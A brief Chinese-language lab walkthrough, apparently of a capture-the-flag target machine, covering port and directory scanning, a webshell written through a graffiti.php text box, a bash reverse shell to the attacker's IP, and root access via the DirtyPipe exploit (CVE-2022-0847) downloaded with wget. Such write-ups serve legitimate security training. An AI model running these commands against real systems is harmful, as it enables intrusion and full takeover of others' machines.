kali:192.168.111.111
靶机:192.168.111.130
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.130
目录爆破
feroxbuster -k -d 1 --url http://192.168.111.130 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap -t 1 -e -C 404,500
在graffiti.php
页面的文本框输入内容会写入graffiti.txt
用burp改包写入webshell
反弹shell需要url编码后再执行
bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'
提权
用linpeas.sh收集到目标存在CVE-2022-0847,exp地址:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
利用过程
#kali开启http服务
python3 -m http.server
#目标上执行
wget http://192.168.111.111:8000/exploit.c
wget http://192.168.111.111:8000/compile.sh
chmod 777 compile.sh
./compile.sh
./exploit
su root #root用户的密码被改为aaron
flag